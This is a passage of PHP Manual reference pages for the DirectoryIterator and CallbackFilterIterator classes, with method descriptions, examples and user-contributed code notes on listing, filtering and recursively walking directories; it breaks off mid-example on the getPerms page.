  • PHP Manual
  • CallbackFilterIterator
  • Create a filtered iterator from another iterator

CallbackFilterIterator::__construct

(PHP 5 >= 5.4.0)

CallbackFilterIterator::__construct — Create a filtered iterator from another iterator

Description

public CallbackFilterIterator::__construct ( Iterator $iterator , callable $callback )

Creates a filtered iterator using the callback to determine which items are accepted or rejected.

Parameters

iterator

The iterator to be filtered.

callback

The callback, which should return TRUE to accept the current item or FALSE otherwise. See Examples.

May be any valid callable value.

Return Values

No value is returned.

See Also

  • CallbackFilterIterator Examples
  • CallbackFilterIterator::accept() - Calls the callback with the current value, the current key and the inner iterator as arguments

User Contributed Notes

There are no user contributed notes for this page.


The DirectoryIterator class

(PHP 5)

Introduction

The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories.

Class synopsis

DirectoryIterator extends SplFileInfo implements SeekableIterator {
/* Methods */
public __construct ( string $path )
public DirectoryIterator current ( void )
public int getATime ( void )
public string getBasename ([ string $suffix ] )
public int getCTime ( void )
public string getExtension ( void )
public string getFilename ( void )
public int getGroup ( void )
public int getInode ( void )
public int getMTime ( void )
public int getOwner ( void )
public string getPath ( void )
public string getPathname ( void )
public int getPerms ( void )
public int getSize ( void )
public string getType ( void )
public bool isDir ( void )
public bool isDot ( void )
public bool isExecutable ( void )
public bool isFile ( void )
public bool isLink ( void )
public bool isReadable ( void )
public bool isWritable ( void )
public string key ( void )
public void next ( void )
public void rewind ( void )
public void seek ( int $position )
public string __toString ( void )
public bool valid ( void )
}

Changelog

Version | Description
5.1.2 | DirectoryIterator extends SplFileInfo.

Table of Contents

  • DirectoryIterator::__construct — Constructs a new directory iterator from a path
  • DirectoryIterator::current — Return the current DirectoryIterator item.
  • DirectoryIterator::getATime — Get last access time of the current DirectoryIterator item
  • DirectoryIterator::getBasename — Get base name of current DirectoryIterator item.
  • DirectoryIterator::getCTime — Get inode change time of the current DirectoryIterator item
  • DirectoryIterator::getExtension — Gets the file extension
  • DirectoryIterator::getFilename — Return file name of current DirectoryIterator item.
  • DirectoryIterator::getGroup — Get group for the current DirectoryIterator item
  • DirectoryIterator::getInode — Get inode for the current DirectoryIterator item
  • DirectoryIterator::getMTime — Get last modification time of current DirectoryIterator item
  • DirectoryIterator::getOwner — Get owner of current DirectoryIterator item
  • DirectoryIterator::getPath — Get path of current Iterator item without filename
  • DirectoryIterator::getPathname — Return path and file name of current DirectoryIterator item
  • DirectoryIterator::getPerms — Get the permissions of current DirectoryIterator item
  • DirectoryIterator::getSize — Get size of current DirectoryIterator item
  • DirectoryIterator::getType — Determine the type of the current DirectoryIterator item
  • DirectoryIterator::isDir — Determine if current DirectoryIterator item is a directory
  • DirectoryIterator::isDot — Determine if current DirectoryIterator item is '.' or '..'
  • DirectoryIterator::isExecutable — Determine if current DirectoryIterator item is executable
  • DirectoryIterator::isFile — Determine if current DirectoryIterator item is a regular file
  • DirectoryIterator::isLink — Determine if current DirectoryIterator item is a symbolic link
  • DirectoryIterator::isReadable — Determine if current DirectoryIterator item can be read
  • DirectoryIterator::isWritable — Determine if current DirectoryIterator item can be written to
  • DirectoryIterator::key — Return the key for the current DirectoryIterator item
  • DirectoryIterator::next — Move forward to next DirectoryIterator item
  • DirectoryIterator::rewind — Rewind the DirectoryIterator back to the start
  • DirectoryIterator::seek — Seek to a DirectoryIterator item
  • DirectoryIterator::__toString — Get file name as a string
  • DirectoryIterator::valid — Check whether current DirectoryIterator position is a valid file

User Contributed Notes

abdel at elghafoud dot com 20-Feb-2014 08:39
Shows us recursively all files and catalogues in directory except "." and "..".

<?php

/**
 * @param string $directory
 * @param array $files
 * @return array
 */
public function recursiveDirectoryIterator ($directory = null, $files = array()) {
    $iterator = new \DirectoryIterator ( $directory );

    foreach ( $iterator as $info ) {
        if ($info->isFile ()) {
            $files [$info->__toString ()] = $info;
        } elseif (!$info->isDot ()) {
            $list = array($info->__toString () => $this->recursiveDirectoryIterator(
                        $directory.DIRECTORY_SEPARATOR.$info->__toString ()
            ));
            if(!empty($files))
                $files = array_merge_recursive($files, $filest);
            else {
                $files = $list;
            }
        }
    }
    return $files;
}

?>
rogier at dsone dot nl 17-Aug-2012 03:23
Beware of the behavior when using FilesystemIterator::UNIX_PATHS, it's not applied as you might expect.

I guess this flag is added especially for use on windows.
However, the path you construct the RecursiveDirectoryIterator or FilesystemIterator with will not be available as a unix path.
I can't say this is a bug, since most methods are just purely inherited from DirectoryIterator.

In my test, I'd expected a complete unix path. Unfortunately... not quite as expected:

<?php
         // say $folder = C:\projects\lang

        $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS | FilesystemIterator::UNIX_PATHS;
        $d_iterator = new RecursiveDirectoryIterator($folder, $flags);

        echo $d_iterator->getPath();

?>

expected result: /projects/lang (or C:/projects/lang)
actual result: C:\projects\lang
Kunal Bhatia->kmasterzone@gmail dot com 15-Apr-2011 11:48
Deleting all files in a directory except the one which is last modified.
<?php
    $directory = dirname(__FILE__)."/demo";
    $filenames = array();
    $iterator = new DirectoryIterator($directory);
    foreach ($iterator as $fileinfo) {
        if ($fileinfo->isFile()) {
            $filenames[$fileinfo->getMTime()] = $fileinfo->getFilename();
        }
    }
    ksort($filenames);
    print_r($filenames);
    echo "\n";
    $i=0;
    if(sizeof($filenames)>1){
        foreach ($filenames as $file){
            if($i>0){
                echo $file."\n";
                unlink($directory."/".$file);
            }
            $i++;
        }
    }
?>
krystianmularczyk at gmail dot com 25-Jan-2009 12:31
Shows us all files and catalogues in directory except "." and "..".

<?php

foreach (new DirectoryIterator('../moodle') as $fileInfo) {
    if($fileInfo->isDot()) continue;
    echo $fileInfo->getFilename() . "<br>\n";
}

?>
David Lanstein 21-Jan-2009 09:50
DirectoryIterator::getBasename() has been also been available since 5.2.2, according to the changelog (not documented yet).  It takes a parameter $suffix, and is useful if, for instance, you use a naming convention for your files (e.g. ClassName.php).

The following code uses this to add recursively All*Tests.php in any subdirectory off of tests/, basically, suites of suites.

<?php
// PHPUnit boilerplate code goes here

class AllTests {
    public static function main() {
        $parameters = array('verbose' => true);
        PHPUnit_TextUI_TestRunner::run(self::suite(), $parameters);
    }

    public static function suite() {
        $suite = new PHPUnit_Framework_TestSuite('AllMyTests'); // this must be something different than the class name, per PHPUnit
        $it = new AllTestsFilterIterator(
                  new RecursiveIteratorIterator(
                      new RecursiveDirectoryIterator(dirname(__FILE__) . '/tests')));

        for ($it->rewind(); $it->valid(); $it->next()) {
            require_once($it->current());
            $className = $it->current()->getBasename('.php');
            $suite->addTest($className::suite());
        }

        return $suite;
    }
}
?>

Also, the AllTestsFilterIterator above extends FilterIterator, and contains one method, accept():

<?php
class AllTestsFilterIterator extends FilterIterator {
    public function accept() {
        if (preg_match('/All.*Tests\.php/', $this->current())) {
            return true;
        } else {
            return false;
        }
    }
}
?>
Mark van Straten 09-Jul-2008 04:56
Implements Iterator so you can foreach() over the content of the given directory


Constructs a new directory iterator from a path

  • « DirectoryIterator
  • DirectoryIterator::current »
  • PHP Manual
  • DirectoryIterator
  • Constructs a new directory iterator from a path

DirectoryIterator::__construct

(PHP 5)

DirectoryIterator::__construct — Constructs a new directory iterator from a path

Description

public DirectoryIterator::__construct ( string $path )

Constructs a new directory iterator from a path.

Parameters

path

The path of the directory to traverse.

Errors/Exceptions

Throws an UnexpectedValueException if the path cannot be opened.

Throws a RuntimeException if the path is an empty string.

Changelog

Version | Description
5.3.0 | Throws UnexpectedValueException if the path cannot be opened.
5.1.3 | Throws RuntimeException if the path is an empty string.
5.1.0 | Throws RuntimeException on error. Previously, threw Exception.

Examples

Example #1 A DirectoryIterator::__construct() example

This example will list the contents of the directory containing the script.

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
    if (!$fileinfo->isDot()) {
        var_dump($fileinfo->getFilename());
    }
}
?>

See Also

  • SplFileInfo
  • Iterator

User Contributed Notes

a dot lyskawa at nisza dot org 18-Dec-2009 09:55
Here's all-in-one DirectoryIterator:

<?php

/**
 * Real Recursive Directory Iterator
 */
class RRDI extends RecursiveIteratorIterator {
  /**
   * Creates Real Recursive Directory Iterator
   * @param string $path
   * @param int $flags
   * @return DirectoryIterator
   */
  public function __construct($path, $flags = 0) {
    parent::__construct(new RecursiveDirectoryIterator($path, $flags));
  }
}

/**
 * Real RecursiveDirectoryIterator Filtered Class
 * Returns only those items which filenames match given regex
 */
class AdvancedDirectoryIterator extends FilterIterator {
  /**
   * Regex storage
   * @var string
   */
  private $regex;
  /**
   * Creates new AdvancedDirectoryIterator
   * @param string $path, prefix with '-R ' for recursive, postfix with /[wildcards] for matching
   * @param int $flags
   * @return DirectoryIterator
   */
  public function  __construct($path, $flags = 0) {
    if (strpos($path, '-R ') === 0) { $recursive = true; $path = substr($path, 3); }
    if (preg_match('~/?([^/]*\*[^/]*)$~', $path, $matches)) { // matched wildcards in filename
      $path = substr($path, 0, -strlen($matches[1]) - 1); // strip wildcards part from path
      $this->regex = '~^' . str_replace('*', '.*', str_replace('.', '\.', $matches[1])) . '$~'; // convert wildcards to regex
      if (!$path) $path = '.'; // if no path given, we assume CWD
    }
    parent::__construct($recursive ? new RRDI($path, $flags) : new DirectoryIterator($path));
  }
  /**
   * Checks for regex in current filename, or matches all if no regex specified
   * @return bool
   */
  public function accept() { // FilterIterator method
    return $this->regex === null ? true : preg_match($this->regex, $this->getInnerIterator()->getFilename());
  }
}

?>

Some examples:

<?php

/* @var $i DirectoryIterator */

foreach (new AdvancedDirectoryIterator('.') as $i) echo $i->getPathname() . '<br/>';
// will output all files and directories in CWD

foreach (new AdvancedDirectoryIterator('-R *.php') as $i) echo $i->getPathname() . '<br/>';
// will output all php files in CWD and all subdirectories

foreach (new AdvancedDirectoryIterator('-R js/jquery-*.js') as $i) echo $i->getPathname() . '<br/>';
// will output all jQuery versions in directory js, or throw an exception if directory js doesn't exist

?>

Pretty cool, huh? :)
kendsnyder at gmail dot com 04-Dec-2008 08:54
Don't store DirectoryIterator objects for later; you will get an error saying "too many open files" when you store more than the operating system limit (usually 256 or 1024).

For example, this will yield an error if the directory has too many files:

<?php
$files = array();
foreach (new DirectoryIterator('myDir') as $file) {
  $files[] = $file;
}
?>

Presumably, this approach is memory intensive as well.
pcdinh at phpvietnam dot net 13-Aug-2007 04:55
I need to traverse recursively through a directory tree and get all sub-directory paths and has written a snippet to do that.

<?php
$path = "D:\webroot\phpvietnamcms";
foreach (new RecursiveIteratorIterator(
           new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::KEY_AS_PATHNAME), RecursiveIteratorIterator::CHILD_FIRST) as $file => $info) {
    if ($info->isDir())
    {
        echo $file."<br />";
    }
}

?>
goran at extensionsforjoomla dot com 21-Jun-2007 01:44
I needed to match in directory tree file name(s) by regular expression. Code is based on Marcus Börger class DirectoryTreeIterator http://cvs.php.net/viewvc.cgi/php-src/ext/spl/examples/ and on examples given in his lecture Introduction to object oriented PHP at PHP Quebec conference 2007 http://talks.somabo.de/
<?php
class KeyFilter extends FilterIterator
{
  private $_rx;

  function __construct(Iterator $it, $regex)
  {
    parent::__construct($it);
    $this->_rx= $regex;
  }

  function accept()
  {
    return ereg($this->_rx,$this->getInnerIterator()->key());
  }

  protected function __clone() {
    return false;
  }
}

class DirMach extends KeyFilter
{
  function __construct($path , $regex)
  {
    parent::__construct(
    new DirectoryTreeIterator($path), $regex);
  }

  function current()
  {
    return parent::key();
  }

  function key()
  {
    return parent::key();
  }
}

class DirectoryTreeIterator extends RecursiveIteratorIterator
{
    /** Construct from a path.
     * @param $path directory to iterate
     */
    function __construct($path)
    {
     try {
      parent::__construct(
            new RecursiveCachingIterator(
                new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::KEY_AS_FILENAME
                ),
                CachingIterator::CALL_TOSTRING|CachingIterator::CATCH_GET_CHILD
            ),
            parent::SELF_FIRST
        );
     } catch(Exception $e) {
       echo $e->getMessage();
       exit;
     }
    }

    /** @return the current element prefixed with ASCII graphics
     */
    function current()
    {
      if ($this->hasChildren())
        $this->next();
      return $this->key();
    }

    /** Aggregates the inner iterator
     */
    function __call($func, $params)
    {
      return call_user_func_array(array($this->getSubIterator(), $func), $params);
    }
}
$PathToSearch = 'path_to_search';
$regex = 'regular_expression';
$FileList = new DirMach($PathToSearch, $regex);
foreach ($FileList as $file) {
  $match[] = $file;
}
echo '<pre>';
var_dump($match);
echo '</pre>';
?>
pcdinh at phpvietnam dot net 19-Apr-2007 10:58
The use of this class is rather simple
<?php
$dataDir  = dirname(__FILE__).'/world_vest_base/';

try
{
      $dir  = new DirectoryIterator($dataDir);

      foreach ($dir as $file)
      {
        $fileName = $file->getFilename();
      }
}
catch (Exception $ex)
{

}

?>

If $dataDir is null, a Runtime Exception will throws a message like this: Directory name must not be empty.

If $dataDir does not exist, that message will look like this:  failed to open dir: No such file or directory.

Please be careful in case you are looking for filenames in that directory because DirectoryIterator will return a very special symbolic filenames: . and .. You must do a check to ignore them before dealing with real file names.

$dir is a DirectoryIterator object
troels 03-Apr-2007 04:34
The documentation for DirectoryIterator is sparse. I found this nice overview:
http://www.jellyandcustard.com/2006/05/18
/using-directoryiterator-to-list-files-in-php

(The above is one line, but I'm not allowed to post it like that)
springub at northclick dot de 13-Dec-2006 01:26
udvig dot ericson at gmail dot com
29-Jul-2006 07:48

In response to the comment below from udvig. The Example ist wrong, here is the right one:

<?php
$dir = new DirectoryIterator("/tmp");
foreach ($dir as $file) {
   if ($file->isDot()) {
       continue;
   }
   echo $file->getFilename() . "\n";
}
?>
ludvig dot ericson at gmail dot com 29-Jul-2006 07:48
In response to the comment below, you don't have to simulate a foreach(), DirectoryIterator obviously inherits SPL's Iterator interface, therefore:

<?php
$dir = new DirectoryIterator("/tmp");
foreach ($dir as $file) {
    if ($dir->isDot()) {
        continue;
    }
    echo $file . "\n";
}
?>
fernandobassani at gmail dot com 25-Jan-2006 07:36
We can now replace the old fashioned way of listing the content from a directory!

the old way:
<?php
if ($handle = opendir('/home/fernando/temp')) {
    while (false !== ($file = readdir($handle))) {
        if ($file != "." && $file != "..") {
            print "$file <br />";
        }
    }
    closedir($handle);
}
?>

the new way:
<?php
$dir = new DirectoryIterator('/home/fernando/temp');
while($dir->valid()) {
    if(!$dir->isDot()) {
        print $dir->current()."<br />";
    }
    $dir->next();
}
?>
jakob dot buchgraber at gmail dot com 04-Jan-2006 04:36
I wrote a function for finding all files in the current and in subdirectories.

The Code:
<?php
function getFiles(&$rdi,$depth=0) {

    if (!is_object($rdi))
        return;

    for ($rdi->rewind();$rdi->valid();$rdi->next()) {

        if ($rdi->isDot())
            continue;

        if ($rdi->isDir() || $rdi->isFile()) {

            for ($i = 0; $i<=$depth;++$i)
                echo '&nbsp;&nbsp;&nbsp;';

            echo $rdi->current().'<br />';

            if ($rdi->hasChildren())
                getFiles($rdi->getChildren(),1+$depth);
        }
    }
}

getFiles(new RecursiveDirectoryIterator('.'));
?>


Return the current DirectoryIterator item.

  • « DirectoryIterator::__construct
  • DirectoryIterator::getATime »
  • PHP Manual
  • DirectoryIterator
  • Return the current DirectoryIterator item.

DirectoryIterator::current

(PHP 5)

DirectoryIterator::current — Return the current DirectoryIterator item.

Description

public DirectoryIterator DirectoryIterator::current ( void )

Get the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

The current DirectoryIterator item.

Examples

Example #1 A DirectoryIterator::current() example

This example will list the contents of the directory containing the script.

<?php
$iterator = new DirectoryIterator(__DIR__);
while($iterator->valid()) {
    $file = $iterator->current();
    echo $iterator->key() . " => " . $file->getFilename() . "\n";
    $iterator->next();
}
?>

The above example will output something similar to:

0 => .
1 => ..
2 => apple.jpg
3 => banana.jpg
4 => index.php
5 => pear.jpg

See Also

  • DirectoryIterator::key() - Return the key for the current DirectoryIterator item
  • DirectoryIterator::next() - Move forward to next DirectoryIterator item
  • DirectoryIterator::rewind() - Rewind the DirectoryIterator back to the start
  • DirectoryIterator::valid() - Check whether current DirectoryIterator position is a valid file
  • Iterator::current() - Return the current element

User Contributed Notes

There are no user contributed notes for this page.


Get last access time of the current DirectoryIterator item

  • « DirectoryIterator::current
  • DirectoryIterator::getBasename »
  • PHP Manual
  • DirectoryIterator
  • Get last access time of the current DirectoryIterator item

DirectoryIterator::getATime

(PHP 5)

DirectoryIterator::getATime — Get last access time of the current DirectoryIterator item

Description

public int DirectoryIterator::getATime ( void )

Get the last access time of the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

Returns the time the file was last accessed, as a Unix timestamp.

Examples

Example #1 A DirectoryIterator::getATime() example

Displays a list of the files in the directory of the script and their last access times.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getFilename() . " " . $fileinfo->getATime() . "\n";
    }
}
?>

The above example will output something similar to:

apple.jpg 1240047118
banana.jpg 1240065176
index.php 1240047208
pear.jpg 12240047979

See Also

  • DirectoryIterator::getCTime() - Get inode change time of the current DirectoryIterator item
  • DirectoryIterator::getMTime() - Get last modification time of current DirectoryIterator item
  • fileatime() - Gets last access time of file

User Contributed Notes

petweb at quaint dot info 16-Aug-2008 03:21
Note that, as with filetime, the returned value is a Unix timestamp. So it can be used with the date() function;

date ("F d Y H:i:s.", filemtime($file->getATime()));


Get base name of current DirectoryIterator item.

  • « DirectoryIterator::getATime
  • DirectoryIterator::getCTime »
  • PHP Manual
  • DirectoryIterator
  • Get base name of current DirectoryIterator item.

DirectoryIterator::getBasename

(PHP 5 >= 5.2.2)

DirectoryIterator::getBasename — Get base name of current DirectoryIterator item.

Description

public string DirectoryIterator::getBasename ([ string $suffix ] )

Get the base name of the current DirectoryIterator item.

Parameters

suffix

If the base name ends in suffix, this will be cut.

Return Values

The base name of the current DirectoryIterator item.

Examples

Example #1 A DirectoryIterator::getBasename() example

This example will list the full base name and the base name with suffix .jpg removed for the files in the directory containing the script.

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getBasename() . "\n";
        echo $fileinfo->getBasename('.jpg') . "\n";
    }
}
?>

The above example will output something similar to:

apple.jpg
apple
banana.jpg
banana
index.php
index.php
pear.jpg
pear

See Also

  • DirectoryIterator::getFilename() - Return file name of current DirectoryIterator item.
  • DirectoryIterator::getPath() - Get path of current Iterator item without filename
  • DirectoryIterator::getPathname() - Return path and file name of current DirectoryIterator item
  • basename() - Returns trailing name component of path
  • pathinfo() - Returns information about a file path

User Contributed Notes

There are no user contributed notes for this page.


Get inode change time of the current DirectoryIterator item

  • « DirectoryIterator::getBasename
  • DirectoryIterator::getExtension »
  • PHP Manual
  • DirectoryIterator
  • Get inode change time of the current DirectoryIterator item

DirectoryIterator::getCTime

(PHP 5)

DirectoryIterator::getCTime — Get inode change time of the current DirectoryIterator item

Description

public int DirectoryIterator::getCTime ( void )

Get the inode change time for the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

Returns the last change time of the file, as a Unix timestamp.

Examples

Example #1 DirectoryIterator::getCTime() example

This example displays the file name and last change time of the files in the directory containing the script.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getFilename() . " changed at " . $fileinfo->getCTime() . "\n";
    }
}
?>

The above example will output something similar to:

apple.jpg changed at 1240398312
banana.jpg changed at 1238605440
index.php changed at 1240398935
pear.jpg changed at 1237423740

See Also

  • DirectoryIterator::getATime() - Get last access time of the current DirectoryIterator item
  • DirectoryIterator::getMTime() - Get last modification time of current DirectoryIterator item
  • filectime() - Gets inode change time of file

User Contributed Notes

There are no user contributed notes for this page.


Gets the file extension

  • « DirectoryIterator::getCTime
  • DirectoryIterator::getFilename »
  • PHP Manual
  • DirectoryIterator
  • Gets the file extension

DirectoryIterator::getExtension

(PHP 5 >= 5.3.6)

DirectoryIterator::getExtension — Gets the file extension

Description

public string DirectoryIterator::getExtension ( void )

Retrieves the file extension.

Parameters

This function has no parameters.

Return Values

Returns a string containing the file extension, or an empty string if the file has no extension.

Examples

Example #1 DirectoryIterator::getExtension() example

<?php

$directory = new DirectoryIterator(__DIR__);
foreach ($directory as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getExtension() . "\n";
    }
}

?>

The above example will output something similar to:

php
txt
jpg
gz

Notes

Note:

This method is only available as of PHP 5.3.6. Another way of getting the extension is to use the pathinfo() function.

<?php
$extension = pathinfo($fileinfo->getFilename(), PATHINFO_EXTENSION);
?>

See Also

  • DirectoryIterator::getFilename() - Return file name of current DirectoryIterator item.
  • DirectoryIterator::getBasename() - Get base name of current DirectoryIterator item.
  • pathinfo() - Returns information about a file path

User Contributed Notes

There are no user contributed notes for this page.


Return file name of current DirectoryIterator item.

  • « DirectoryIterator::getExtension
  • DirectoryIterator::getGroup »
  • PHP Manual
  • DirectoryIterator
  • Return file name of current DirectoryIterator item.

DirectoryIterator::getFilename

(PHP 5)

DirectoryIterator::getFilename — Return file name of current DirectoryIterator item.

Description

public string DirectoryIterator::getFilename ( void )

Get the file name of the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

Returns the file name of the current DirectoryIterator item.

Examples

Example #1 A DirectoryIterator::getFilename() example

This example will list the contents of the directory containing the script.

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
    echo $fileinfo->getFilename() . "\n";
}
?>

The above example will output something similar to:

.
..
apple.jpg
banana.jpg
index.php
pear.jpg

See Also

  • DirectoryIterator::getBasename() - Get base name of current DirectoryIterator item.
  • DirectoryIterator::getPath() - Get path of current Iterator item without filename
  • DirectoryIterator::getPathname() - Return path and file name of current DirectoryIterator item
  • pathinfo() - Returns information about a file path

User Contributed Notes

damian at kopiec dot net 04-Apr-2013 05:32
class MyDirectoryIterator extends DirectoryIterator
{
    public function getExtension()
    {
        return pathinfo($this->getFilename(), PATHINFO_EXTENSION);
    }
}


Get group for the current DirectoryIterator item

  • « DirectoryIterator::getFilename
  • DirectoryIterator::getInode »
  • PHP Manual
  • DirectoryIterator
  • Get group for the current DirectoryIterator item

DirectoryIterator::getGroup

(PHP 5)

DirectoryIterator::getGroup — Get group for the current DirectoryIterator item

Description

public int DirectoryIterator::getGroup ( void )

Get the group id of the file.

Parameters

This function has no parameters.

Return Values

Returns the group id of the current DirectoryIterator item in numerical format.

Examples

Example #1 DirectoryIterator::getGroup() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
$groupid  = $iterator->getGroup();
echo 'Directory belongs to group id ' . $groupid . "\n";
print_r(posix_getgrgid($groupid));
?>

The above example will output something similar to:

Directory belongs to group id 42
Array
(
    [name]    => toons
    [passwd]  => x
    [members] => Array
        (
            [0] => tom
            [1] => jerry
        )
    [gid]     => 42
)

See Also

  • DirectoryIterator::getiNode() - Get inode for the current DirectoryIterator item
  • DirectoryIterator::getOwner() - Get owner of current DirectoryIterator item
  • DirectoryIterator::getPerms() - Get the permissions of current DirectoryIterator item
  • filegroup() - Gets file group
  • posix_getgrgid() - Return info about a group by group id

User Contributed Notes

There are no user contributed notes for this page.


Get inode for the current DirectoryIterator item

  • « DirectoryIterator::getGroup
  • DirectoryIterator::getMTime »
  • PHP Manual
  • DirectoryIterator
  • Get inode for the current DirectoryIterator item

DirectoryIterator::getInode

(PHP 5)

DirectoryIterator::getInode — Get inode for the current DirectoryIterator item

Description

public int DirectoryIterator::getInode ( void )

Get the inode number for the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

Returns the inode number for the file.

Examples

Example #1 DirectoryIterator::getInode() example

This example displays the inode number for the directory containing the script.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
echo $iterator->getInode();
?>

See Also

  • DirectoryIterator::getGroup() - Get group for the current DirectoryIterator item
  • DirectoryIterator::getOwner() - Get owner of current DirectoryIterator item
  • DirectoryIterator::getPerms() - Get the permissions of current DirectoryIterator item
  • fileinode() - Gets file inode

User Contributed Notes

There are no user contributed notes for this page.


Get last modification time of current DirectoryIterator item

  • « DirectoryIterator::getInode
  • DirectoryIterator::getOwner »
  • PHP Manual
  • DirectoryIterator
  • Get last modification time of current DirectoryIterator item

DirectoryIterator::getMTime

(PHP 5)

DirectoryIterator::getMTime — Get last modification time of current DirectoryIterator item

Description

public int DirectoryIterator::getMTime ( void )

Get the last modification time of the current DirectoryIterator item, as a Unix timestamp.

Parameters

This function has no parameters.

Return Values

The last modification time of the file, as a Unix timestamp.

Examples

Example #1 A DirectoryIterator::getMTime() example

Displays a list of the files in the directory of the script and their last modified times.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getFilename() . " " . $fileinfo->getMTime() . "\n";
    }
}
?>

The above example will output something similar to:

apple.jpg 1240047118
banana.jpg 1240065176
index.php 1240047208
pear.jpg 12240047979

See Also

  • DirectoryIterator::getATime() - Get last access time of the current DirectoryIterator item
  • DirectoryIterator::getCTime() - Get inode change time of the current DirectoryIterator item
  • filemtime() - Gets file modification time

User Contributed Notes

There are no user contributed notes for this page.


Get owner of current DirectoryIterator item

  • « DirectoryIterator::getMTime
  • DirectoryIterator::getPath »
  • PHP Manual
  • DirectoryIterator
  • Get owner of current DirectoryIterator item

DirectoryIterator::getOwner

(PHP 5)

DirectoryIterator::getOwner — Get owner of current DirectoryIterator item

Description

public int DirectoryIterator::getOwner ( void )

Get the owner of the current DirectoryIterator item, in numerical format.

Parameters

This function has no parameters.

Return Values

The file owner of the file, in numerical format.

Examples

Example #1 DirectoryIterator::getOwner() example

This example displays the owner of the directory which contains the script.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
print_r(posix_getpwuid($iterator->getOwner()));
?>

The above example will output something similar to:

Array
(
    [name] => tom
    [passwd] => x
    [uid] => 501
    [gid] => 42
    [gecos] => Tom Cat
    [dir] => /home/tom
    [shell] => /bin/bash
)

See Also

  • DirectoryIterator::getGroup() - Get group for the current DirectoryIterator item
  • DirectoryIterator::getiNode() - Get inode for the current DirectoryIterator item
  • DirectoryIterator::getPerms() - Get the permissions of current DirectoryIterator item
  • posix_getpwuid() - Return info about a user by user id

User Contributed Notes

There are no user contributed notes for this page.


Get path of current Iterator item without filename

  • « DirectoryIterator::getOwner
  • DirectoryIterator::getPathname »
  • PHP Manual
  • DirectoryIterator
  • Get path of current Iterator item without filename

DirectoryIterator::getPath

(PHP 5)

DirectoryIterator::getPath — Get path of current Iterator item without filename

Description

public string DirectoryIterator::getPath ( void )

Get the path to the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

Returns the path to the file, omitting the file name and any trailing slash.

Examples

Example #1 DirectoryIterator::getPath() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
echo $iterator->getPath();
?>

The above example will output something similar to:

/home/examples/public_html

See Also

  • DirectoryIterator::getBasename() - Get base name of current DirectoryIterator item.
  • DirectoryIterator::getFilename() - Return file name of current DirectoryIterator item.
  • DirectoryIterator::getPathname() - Return path and file name of current DirectoryIterator item
  • pathinfo() - Returns information about a file path

User Contributed Notes

xcojack at gmail dot com 04-Apr-2012 09:19
If you wish to get a part of path you can use function like this:

<?php
/**
 * Return a part of path by depth
 *
 * @param $path string
 * @param $depth int
 * @return mixed string on success, false on failure
 */
function getPartPath($path = '', $depth = 0) {
    $pathArray = array();
    $pathArray = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
    if($depth < 0)
        $depth = count($pathArray)+$depth;

    if(!isset($pathArray[$depth]))
        return false;
    return $pathArray[$depth];
}
?>

usage:

<?php
$a = "/var/www/foo/trunk/bar/tools/php/simplelocal";

var_dump(getPartPath($a, -2)); // returns php
var_dump(getPartPath($a, 0)); // returns var
var_dump(getPartPath($a, -1)); // returns simplelocal
?>

etc...

Regards.


Return path and file name of current DirectoryIterator item

  • « DirectoryIterator::getPath
  • DirectoryIterator::getPerms »
  • PHP Manual
  • DirectoryIterator
  • Return path and file name of current DirectoryIterator item

DirectoryIterator::getPathname

(PHP 5)

DirectoryIterator::getPathname — Return path and file name of current DirectoryIterator item

Description

public string DirectoryIterator::getPathname ( void )

Get the path and file name of the current file.

Parameters

This function has no parameters.

Return Values

Returns the path and file name of current file. Directories do not have a trailing slash.

Examples

Example #1 DirectoryIterator::getPathname() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    echo $fileinfo->getPathname() . "\n";
}
?>

The above example will output something similar to:

/home/examples/.
/home/examples/..
/home/examples/apple.jpg
/home/examples/banana.jpg
/home/examples/getpathname.php
/home/examples/pear.jpg

See Also

  • DirectoryIterator::getBasename() - Get base name of current DirectoryIterator item.
  • DirectoryIterator::getFilename() - Return file name of current DirectoryIterator item.
  • DirectoryIterator::getPath() - Get path of current Iterator item without filename
  • pathinfo() - Returns information about a file path

User Contributed Notes

There are no user contributed notes for this page.


Get the permissions of current DirectoryIterator item

  • « DirectoryIterator::getPathname
  • DirectoryIterator::getSize »
  • PHP Manual
  • DirectoryIterator
  • Get the permissions of current DirectoryIterator item

DirectoryIterator::getPerms

(PHP 5)

DirectoryIterator::getPerms — Get the permissions of current DirectoryIterator item

Description

public int DirectoryIterator::getPerms ( void )

Get the permissions of the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

Returns the permissions of the file, as a decimal integer.

Examples

Example #1 DirectoryIterator::getPerms() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if (!$fileinfo->isDot()) {
        $octal_perms = substr(sprintf('%o', $fileinfo->getPerms()), -4);
